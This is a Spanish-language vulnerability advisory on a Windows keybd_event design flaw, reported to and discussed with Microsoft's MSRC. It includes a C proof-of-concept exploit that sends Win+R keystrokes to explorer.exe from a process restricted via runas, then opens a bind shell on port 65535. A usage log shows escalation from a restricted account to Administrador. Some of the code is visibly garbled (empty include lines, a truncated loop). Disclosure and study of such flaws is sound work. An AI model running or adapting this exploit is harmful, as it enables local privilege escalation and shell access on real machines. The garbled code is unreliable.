Vulnerability: Microsoft Windows keybd_event validation vulnerability. Type:....... Fallo de Diseño Vendor:..... Microsoft Impact:..... Elevación de privilegios locales. Credits:.... Andrés Tarascó ( aT4r _@_ haxorcitos.com ) .... Iñaki Lopez ( ilo _@_ reversing.org ) Descripcion: ____________ Como ya es sabido, con el modelo de Seguridad actual de Windows, todas las aplicaciones que comparten el escritorio pueden enviarse mensajes entre ellas. Es decir, cualquier aplicacion del escritorio puede obtener el handle de la ventana de un proceso en ejecución. Esta facilitad, unida a la posibilidad de que cualquier aplicacion emule un teclado virtual, enviando pulsaciones de teclas, permite que un proceso no privilegiado pueda enviar mensajes al sistema emulando pulsaciones de teclado como si se tratase de un usuario de forma interactiva. Escenario de ataque: ____________________ Existen dos escenarios identificados en los que dicho ataque se puede llevar a cabo con éxito, El servicio Runas, permite la ejecución de aplicaciones con los privilegios de otro usuario. En algunos casos, un usuario podría ejecutar una aplicación no confiable restringiendo dichos permisos es decir, realizar una bajada de privilegios para ejecutar una shell desde la que trabajar o verificar el funcionamiento de una aplicación. Esta aplicación ejecutada en este entorno restringido comparte el mismo escritorio que el resto de las aplicaciones de usuario. En segundo lugar, cualquier servicio en ejecución en el sistema que posea el flag INTERACT_WITH_DESKTOP tendra acceso al mismo escritorio del usuario. Ataque: _______ En el caso de que un atacante consiga ganar acceso a una aplicación ejecutada por cualquiera de estos métodos , ya sea por ejecución directa de la misma o tras explotar un fallo de seguridad de esta aplicación, utilizando las apis del sistema kebd_event() o SendKeys() es posible enviar una combinación de teclas que sera interpretada directamente por el explorer.exe permitiendo la ejecución de código con los privilegios del usuario que ha iniciado la sesión. Este ataque permitiria saltarse de forma satisfactoria las restricciones que el servicio Runas ofrece para la ejecución de aplicaciones y elevar privilegios. Respuesta del vendedor ________________________ Tras discutir con el MSRC (Microsoft Security Response Center) han identificado esta vulnerabilidad como un fallo de diseño, donde el límite de seguridad es el escritorio, y sin una solucion viable, dado que herramientas automáticas asi como el teclado virtual incluido en Windows XP dejarian de funcionar si esta facilitad no existiese. Soluciones: ____________ - Unicamente permitir a los servicios confiables y en el caso en que sea totalmente necesario el acceso al escritorio. - No utilizar el servicio Runas en entornos de producción. Exploit: _________ /* * Microsoft Windows keybd_event validation vulnerability. * Local privilege elevation * * Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com ) * Iñaki Lopez ( ilo _@_ reversing.org ) * * Platforms afected/tested: * * - Windows 2000 * - Windows XP * - Windows 2003 * * * Original Advisory: http://www.haxorcitos.com * http://www.reversing.org * * Exploit Date: 08 / 06 / 2005 * * Orignal Advisory: * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Attack Scenario: * * a) An attacker who gains access to an unprivileged shell/application executed * with the application runas. * b) An attacker who gains access to a service with flags INTERACT_WITH_DESKTOP * * Impact: * * Due to an invalid keyboard input validation, its possible to send keys to any * application of the Desktop. * By sending some short-cut keys its possible to execute code and elevate privileges * getting loggued user privileges and bypass runas/service security restriction. * * Exploit usage: * * C:\>whoami * AQUARIUS\Administrador * * C:\>runas /user:restricted cmd.exe * Escribir contraseña para restricted: * Intentando iniciar "cmd.exe" como usuario "AQUARIUS\restricted"... * * * Microsoft Windows 2000 [Versión 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\WINNT\system32>cd \ * * C:\>whoami * AQUARIUS\restricted * * C:\>tlist.exe |find "explorer.exe" * 1140 explorer.exe Program Manager * * C:\>c:\keybd.exe 1140 * HANDLE Found. Attacking =) * * C:\>nc localhost 65535 * Microsoft Windows 2000 [Versión 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\>whoami * whoami * AQUARIUS\Administrador * * * DONE =) * */ #include #include #include #pragma comment(lib, "ws2_32.lib") #define HAXORCITOS 65535 unsigned int pid = 0; char buf[256]=""; /**************************************************************/ void ExplorerExecution (HWND hwnd, LPARAM lParam){ DWORD hwndid; int i; GetWindowThreadProcessId(hwnd,&hwndid); if (hwndid == pid){ /* Replace keybd_event with SendMessage() and PostMessage() calls */ printf("HANDLE Found. Attacking =)\n"); SetForegroundWindow(hwnd); keybd_event(VK_LWIN,1,0,0); keybd_event(VkKeyScan('r'),1,0,0); keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0); keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0); for(i=0;i= 2) { pid = atoi (argv[1]); strncpy(buf,argv[0],sizeof(buf)-1); EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd)); } else { BindShell(); } } /**************************************************************/